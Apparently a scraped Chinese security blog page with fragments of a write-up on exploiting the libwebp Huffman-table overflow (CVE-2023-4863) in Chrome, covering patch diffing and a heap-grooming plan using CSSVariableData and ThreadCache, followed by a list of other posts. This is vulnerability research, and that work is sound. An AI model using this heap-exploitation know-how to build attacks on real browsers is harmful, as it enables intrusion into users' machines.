      // unguessable. They will be returned to the app as is, and the MTE-tag
      // will only change upon calling Free().
      next_slot_ptr =
          TagMemoryRangeRandomly(next_slot, TagSizeForSlot(root, slot_size));

释放

将堆块的tag加一。

Exploiting the libwebp Vulnerability, Part 2: Diving into Chrome Blink

Fri, 03 Nov 2023 14:10:29 +0800

前言

当我们把这样一个在三方库中的漏洞放到真实的环境中再看时，会发现漏洞所处的环境往往有很多复杂的变量，想要利用这个漏洞并非想象般那么容易。

我们所已知的信息有：

我们溢出的变量huffman_tables，大小为0x2f28
该堆块在renderer的ThreadPool中分配，而大多数对象在主线程中分配
我们可以以8字节倍数的offset，写入一个部分可控的4字节int

Chrome中不同大小的堆块被存储在不同的bucket当中，不同大小的对象因为这个机制被安全地隔离开。通常来说，在chrome中的堆利用需要找到同样大小的对象进行布局，再通过UAF或是OOB篡改其他的对象，从而造成信息泄露或者控制流劫持。接下来我们会分享我们所发现的对象，同时试图去绕过这个机制。

信息泄露

寻找对象

我们首先想要寻找的是一个合适的对象能够被OOB所改写，由于我们的越界写并不能很好地控制值，所以写指针基本被排除，最好的情况是能够改掉类似length这样的字段，对于值没有精确的要求，但是能够引发进一步更好利用的内存问题。

HuffmanCode在libwebp中是用malloc分配的，在chrome中实际是被PartitionAlloc最终接管分配。在renderer中一共有四个partition，LayoutObject partition, Buffer partition, ArrayBuffer partition, FastMalloc partition。FastMalloc实际上最终调用的就是malloc，因此我们想要找的对象可以用FastMalloc来分配。

我们首先用了Man Yue Mo在博客中提到的codeql查询，由于溢出在0x3000的bucket当中，可以选择的对象大小范围为0x2800 - 0x3000。但非常遗憾的是，查询结果为空，这个size下的对象几乎完全不存在。另一个思路是用溢出对象本身，但是这个对象被改掉后不会产生特别的破坏效果，libwebp中也没有其他好的候选对象。到了这里似乎令人觉得有些绝望，利用的第一步就被卡住了。

那么我们还有什么思路呢，一个想法是使用可变长的对象，如Man Yue Mo提到过的AudioArray，但是这个对象是纯数据，被改掉也没有用。查看所有FastMalloc的调用，最终我们发现了这个对象

class CORE_EXPORT CSSVariableData : public RefCounted<CSSVariableData> {
  USING_FAST_MALLOC(CSSVariableData);

此对象的大小为动态的

    wtf_size_t bytes_needed =
        sizeof(CSSVariableData) + (original_text.Is8Bit()
                                       ? original_text.length()
                                       : 2 * original_text.length());
    // ... snip ...
    void* buf = WTF::Partitions::FastMalloc(
        bytes_needed, WTF::GetStringWithTypeName<CSSVariableData>());

该对象代表了CSS中的变量，可以通过以下方式来定义

element {
  foo: var(--my-var, bar);
}

blink会根据CSS变量的内容动态分配CSSVariableData的内存。还有一个好消息是，JavaScript中也可以便捷地操作CSS变量。

// add a CSS variable
element.style.setProperty('foo', 'bar');
// remove a CSS variable
element.style.removeProperty('foo');
// get the value of a CSS variable
getComputedStyle(element).getPropertyValue('foo');

Cross-Thread堆占位

我们可以控制CSSVariableData的大小，使其分配至与HuffmanCode同样大小的bucket中。一个自然而然的计划是，分配一堆CSSVariableData，然后free其中一个，再用HuffmanCode占位，如下图所示。

然而设想很美好，实际上PartitionAlloc中使用了ThreadCache，对象的分配和释放都会优先在ThreadCache中进行。由于两个对象不在同一个线程中分配，我们需要想办法将CSSVariableData从ThreadCache中移出。阅读ThreadCache的源码，我们找到了一个途径

Exploiting the libwebp Vulnerability, Part 1: Playing with Huffman Code

Fri, 03 Nov 2023 14:10:24 +0800

漏洞定位

在初始的漏洞分析阶段，由于缺少现成的PoC或详细分析报告，我们首先尝试阅读并理解webmproject/libwebp上游仓库针对CVE-2023-4863的修复代码。然而，WebM Project官方的修补过程相对复杂，这使得我们难以精确地锁定漏洞的原始触发点。

于是，我们将目光转向了Apple对CVE-2023-41064的官方补丁，并使用BinDiff对更新前后的ImageIO组件进行了对比。我们注意到Apple的补丁代码变更相对较少，易于理解，并且非常“简单粗暴”:

简而言之，Apple的修复方案是在WebP解码器中增加了一项检查：如果在构建霍夫曼编码表 (Huffman Table) 时越界，就会直接返回错误，而不是继续解码。

diff --git a/src/dec/vp8l_dec.c b/src/dec/vp8l_dec.c
index 45012162..06b142bc 100644
--- a/src/dec/vp8l_dec.c
+++ b/src/dec/vp8l_dec.c
@@ -438,6 +438,7 @@ static int ReadHuffmanCodes(VP8LDecoder* const dec, int xsize, int ysize,
     goto Error;
   }

+  bound = &huffman_tables[num_htree_groups * table_size];
   huffman_table = huffman_tables;
   for (i = 0; i < num_htree_groups_max; ++i) {
     // If the index "i" is unused in the Huffman image, just make sure the
diff --git a/src/utils/huffman_utils.c b/src/utils/huffman_utils.c
index 90c2fbf7..13054715 100644
--- a/src/utils/huffman_utils.c
+++ b/src/utils/huffman_utils.c
@@ -191,6 +191,7 @@ static int BuildHuffmanTable(HuffmanCode* const root_table, int root_bits,
         }
         code.bits = (uint8_t)(len - root_bits);
         code.value = (uint16_t)sorted[symbol++];
+        if (bound && &table[key >> root_bits + table_size] >= bound) return 0;
         ReplicateValue(&table[key >> root_bits], step, table_size, code);
         key = GetNextKey(key, len);
       }

因此，漏洞很可能是由于在构建Huffman Table时，没有对输入的数据进行有效性检查，从而导致分配给表的内存区域被溢写，即出现了缓冲区溢出。

DARKNAVY

About

2024年度最隐蔽的黑手

深蓝洞察

2024年度最憋屈的漏洞披露

漏洞披露风波

漏洞披露：理想与现实

深蓝洞察

References

2024年度最“安全”的防线

安全软件被滥用为攻击工具

一次全球性的防护软件灾难

防线上的"后门"

最难以阻挡的攻防趋势

愈发坚韧的"盾”

未来之"矛”

2024年度最悲剧的后门

XZ backdoor：开源世界的信任崩塌

功败垂成——是运气使然还是skill issue？

2024年度最“隐”人注目的安全趋势

隐私计算：大模型时代的安全基石

国产探索与未来趋势

2024年度最狂躁不安的漏洞

DeepSeek锐评

2024年度最具想象空间的新应用

Naptime

AIxCC

2024年度最具含“金”量的绕过

2024年度最别开生面的新生态

鸿蒙"单框架"

鸿蒙内核

以子之矛陷子之盾 · 用AI对AI漏洞的利用探索

吾盾之坚，物莫能陷

吾矛之利，物无不陷

CVE-2024-5274: A Minor Flaw in V8 Parser Leading to Catastrophes

从patch到PoC

Steam漏洞利用：CEF框架应用下的常规与非常规利用手段

前言

RCE#1：steamwebhelper中多个问题导致RCE

在外部页面中获取SteamClient对象

使用BrowserView加载file协议

获取BrowserView中加载的页面内容，实现任意文件读

从任意文件读到任意文件创建

填补盾牌的裂缝：堆分配器中的MTE

前言

MTE概述

Allocator

Chrome - PartitionAlloc

分配

释放

Exploiting the libwebp Vulnerability, Part 2: Diving into Chrome Blink

前言

信息泄露

寻找对象

Cross-Thread堆占位

Exploiting the libwebp Vulnerability, Part 1: Playing with Huffman Code

漏洞定位

RCE#1：`steamwebhelper`中多个问题导致RCE

在外部页面中获取`SteamClient`对象

使用`BrowserView`加载file协议

获取`BrowserView`中加载的页面内容，实现任意文件读